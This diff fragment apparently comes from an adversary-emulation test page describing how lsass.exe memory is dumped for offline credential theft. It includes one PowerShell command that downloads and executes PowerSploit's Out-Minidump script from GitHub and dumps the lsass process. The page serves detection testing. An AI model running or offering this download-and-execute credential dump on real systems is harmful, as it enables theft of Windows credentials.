+The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
+powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
+Upon successful execution, you should see the following file created $env:SYSTEMROOT\System32\lsass_*.dmp.

+**Supported Platforms:** Windows
+
+
+
+
+
+#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 
+
+
+```powershell
+IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump
+```
